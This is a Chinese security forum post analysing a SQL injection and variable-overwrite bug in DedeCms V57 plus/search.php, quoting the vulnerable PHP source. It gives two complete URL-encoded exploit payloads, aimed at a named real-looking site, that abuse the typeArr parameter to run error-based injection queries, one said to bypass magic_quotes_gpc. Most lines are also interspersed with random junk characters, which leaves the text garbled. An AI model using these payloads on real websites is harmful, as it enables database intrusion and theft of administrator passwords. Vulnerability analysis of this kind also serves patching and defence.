找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2269|回复: 0
打印 上一主题 下一主题

DedeCms V57 plus/search.php文件SQL注射

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-19 08:18:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
8 E+ d2 T0 n- v6 a: s. J' E3 F& x4 E作者: c4rp3nt3r@0x50sec.org
# e  j2 ~( C( j" q7 h( T' mDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.4 d  T4 X& F. c; o" I  j

  e0 x3 K8 E5 N, x9 ]1 l黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
: E6 s" X9 [8 ^# \) T 8 I0 ?3 K  t* M( y6 B  r, K) s
============6 G5 n! B' S' s" D4 z2 J6 j5 ]
! r3 I- m# ?5 V: T

- Q+ ]' c$ D" `( pDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
% q  K* Q) h( H4 }+ I * u# }# X$ I: ~' O! r, L( W: z
require_once(dirname(__FILE__).”/../include/common.inc.php”);
+ w: i* x5 p) I1 |, Y! ~# q, ~require_once(DEDEINC.”/arc.searchview.class.php”);% c0 Y8 o- a  o
+ ]' s# b5 A! |& j+ M
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
" |+ \6 }( H: y. S0 `' e' D- z$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;6 M. Z- \& u3 M- Q# r1 f& B
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
* a/ k7 n& Q7 @. n' y* l$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;+ |* f. {. \& i* `3 d6 v1 p; @
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;$ }/ f0 P5 `6 p
$ w' b% q7 R1 `% O9 f+ R
if(!isset($orderby)) $orderby=”;
! Q% y9 H( k( a; U) p2 n5 {7 gelse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);) Y0 Z" q% c4 G* \: [+ @

& i. [" ]5 D( a( M- K& m5 |
; z2 ^& d5 b( w" Y! Kif(!isset($searchtype)) $searchtype = ‘titlekeyword’;2 E5 d, b+ @: T1 E# z: K' g% W7 p
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);7 c- C4 [( p. g- G. |2 X6 g1 }

- w; p) Y" P+ F. A; r: Xif(!isset($keyword)){8 n+ `7 X  w- Q9 m7 v. i3 b+ j
    if(!isset($q)) $q = ”;9 f% C8 w% W2 x6 \
    $keyword=$q;
6 v6 N( t5 ^& R0 @; J+ T5 N}
( d6 F6 g$ Q% y
2 f& J) @- @6 \1 u  ]5 B3 J! j( T, J$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));' a% t8 ]! s- U( r% \8 \6 {4 w9 f

& g9 M/ w, u. F- y& \2 Z//查找栏目信息
, l% `' j4 s) V9 |9 _: x& \$ Fif(empty($typeid))
6 p+ n6 {4 L$ q( m- \{
, g+ @; J% Z4 z    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
- X3 y5 b7 O! F/ T4 z$ l6 n    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )+ {& o0 S) @7 x% d: p0 U7 n
    {
# Z2 U9 w) j4 [6 O! m' q' n) r        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
7 r! C+ d/ F7 H& H+ t5 N        fwrite($fp, “<”.”?php\r\n”);
( J+ a# d1 Q, h& a5 \        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
3 C7 q; c  z, X( }6 P        $dsql->Execute();
4 b3 a( X: j: M, ^6 X* N( \5 y        while($row = $dsql->GetArray())' Y: P* ?2 D  C
        {. x; f0 a6 A4 g& G9 o
            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
, e; l5 l! S% ^6 S7 I- |% d        }
3 y- [7 f: j; X- C0 g        fwrite($fp, ‘?’.'>’);
( C! a. i3 w* G        fclose($fp);  ?5 W+ P& ]8 c  p8 ]* [
    }6 D9 |4 U+ G1 v
    //引入栏目缓存并看关键字是否有相关栏目内容- k) T$ N# S& ^$ n6 \' E) x# q: e
    require_once($typenameCacheFile);& ~+ G7 S: ?( P+ j* ~
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
8 `- J0 W* k5 g# X) P//5 _, j& L3 a. b% t; u
    if(isset($typeArr) && is_array($typeArr))4 }$ E/ U2 }9 w, a; j' L$ j
    {
+ F6 ~; H5 K6 w3 l9 @/ y$ V3 J2 _! |' w        foreach($typeArr as $id=>$typename)# R% M4 J6 V  n  L/ F" R6 E; k6 Y9 ?
        {% t/ g6 b- C9 \: m  q' i

, o# E0 y* K7 t            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过
' x& C' A% j6 ]3 w% P            if($keyword != $keywordn)
; C6 i* X3 q) x            {' e- U/ M$ v+ Q+ j
                $keyword = $keywordn;
6 K; Q( h" f6 A/ h+ E0 D/ V, J1 ^                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
3 v2 [5 u1 C1 G% C+ E0 I1 W" H" ^+ M" R                break;) \+ c, ~, Z8 c8 ^
            }1 x# H7 e' ^% Y1 E
        }( z2 S& p, l( w4 W
    }
  n6 d! R. y! V1 G}
! E3 z3 f: `* G/ H2 F+ [- [# M/ P9 i然后plus/search.php文件下面定义了一个 Search类的对象 .
, r; K) H( c& \) Y( b( s在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.6 A) a( }* O! n- i0 b! \" G
$this->TypeLink = new TypeLink($typeid);9 B" L% G8 J, h/ J8 I8 X: C" N+ r! H

4 U9 }! E# {! y* k9 Y2 vTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
( i- Q% t  {9 D' X9 m3 T % a* x2 R. Z! X
class TypeLink& Z# H4 ?  m/ N" x" I( Q! E
{
5 R/ }0 E& R3 Y8 g5 |9 X7 F' F    var $typeDir;6 P; ?+ j6 T4 q6 [
    var $dsql;
- r* f5 V2 [+ {' y% \5 [2 S    var $TypeID;  U' B) i% w- z/ _
    var $baseDir;
/ E3 n3 G$ h/ @& x7 t0 i    var $modDir;' l. G7 K. Z, o
    var $indexUrl;
! w6 w0 m3 Y! D) o& I  [8 {    var $indexName;) a* K- B* O# U1 f
    var $TypeInfos;
" V" a0 Y: |7 `- p" [. r" Z/ N# F8 L    var $SplitSymbol;) r0 _% t; v1 F" f! _0 Z" j
    var $valuePosition;
5 o7 {+ b8 B$ I# V+ c& P    var $valuePositionName;
1 Y# n( A& Q# |! [2 R    var $OptionArrayList;//构造函数///////( C" v' V% a, c" F$ g2 }5 B2 g0 y
    //php5构造函数
+ a) U7 y% ?" O* U6 q& S    function __construct($typeid)
' S3 R, {1 I4 W    {
9 E/ j; v3 t) P4 Q7 v! ^6 f        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
' E2 ?9 D4 K+ q2 d% r, H        $this->indexName = $GLOBALS['cfg_indexname'];
' e# O+ [3 x3 }9 g6 b        $this->baseDir = $GLOBALS['cfg_basedir'];
! d+ U: \+ _0 V# c        $this->modDir = $GLOBALS['cfg_templets_dir'];
* f5 A; B9 S& P# o$ p        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
9 o/ v. V& S" P5 i        $this->dsql = $GLOBALS['dsql'];# z7 a9 K8 a5 L( s1 j
        $this->TypeID = $typeid;! {& Y5 O$ b. p6 A! Q
        $this->valuePosition = ”;2 ~& U9 i- s& g
        $this->valuePositionName = ”;' h/ |+ S, e  z' r  f
        $this->typeDir = ”;
5 c/ e+ |: b- l5 m        $this->OptionArrayList = ”;! Z" Q! x( M$ _1 C* k0 N
0 q3 [) z% s! H0 @" B% o3 ~
        //载入类目信息0 }- M& Z6 C, F9 q7 ]5 k+ o2 e. L
# D; W) T- S2 N% N
        <font color=”Red”>$query = “SELECT tp.*,ch.typename as" `. ]; m% c* T0 j3 l8 p
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join. `2 X0 J8 l; m5 c. B
`#@__channeltype` ch
7 A7 E; |$ Z# v6 _' m        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
9 i) d) @5 }- Y3 y. z  i" J
  H4 D' ?' f1 O8 t! R1 K" n* ?# {        if($typeid > 0)
  Q9 J- Q* t* ~8 `4 W5 V        {
6 n7 J' V& b. z, x+ m& G& K: S0 J. S+ r            $this->TypeInfos = $this->dsql->GetOne($query);! s& L: r8 E- P$ N
利用代码一 需要 即使magic_quotes_gpc = Off
+ L3 I4 l+ p! n9 ^2 ~2 e   h# R; G1 k7 G: W
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title8 Y  a8 r* E4 t+ H/ [; Y

2 {" @2 H3 M6 G! m6 H" \0 ]4 V这只是其中一个利用代码… Search 类的构造函数再往下
5 |! P( Y# v" K* t8 w4 |
3 [" Z6 ]$ i9 i9 Q, \; Q; k/ g……省略# \; i0 O" b' [% ?$ v
$this->TypeID = $typeid;
) L" F+ I1 ?3 c" y8 u8 z……省略- w% i7 I* U" R2 C: \
if($this->TypeID==”0″){0 P, P1 R* \1 B8 _+ b
            $this->ChannelTypeid=1;
+ c# g* \, X* |" {        }else{8 j* z. W7 p6 G% H) _0 n, }5 h
            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲/ w# r' Z3 n% G* v
//现在不鸡肋了吧亲…% T- H) n9 d, X
            $this->ChannelTypeid=$row['channeltype'];
$ `6 Q! e5 A* o4 Y$ w
1 U( c& b' }/ N8 v, K' C5 {        }7 [/ _* m1 K+ N  `
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.+ h) O" L/ H' `8 t

2 V3 L9 b; h6 J" k" k% `www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
7 W8 l3 n3 @7 D3 j' [6 _
" `8 z' b/ Q" u如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站+ q* f) S/ C( u+ s2 Z" _) @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表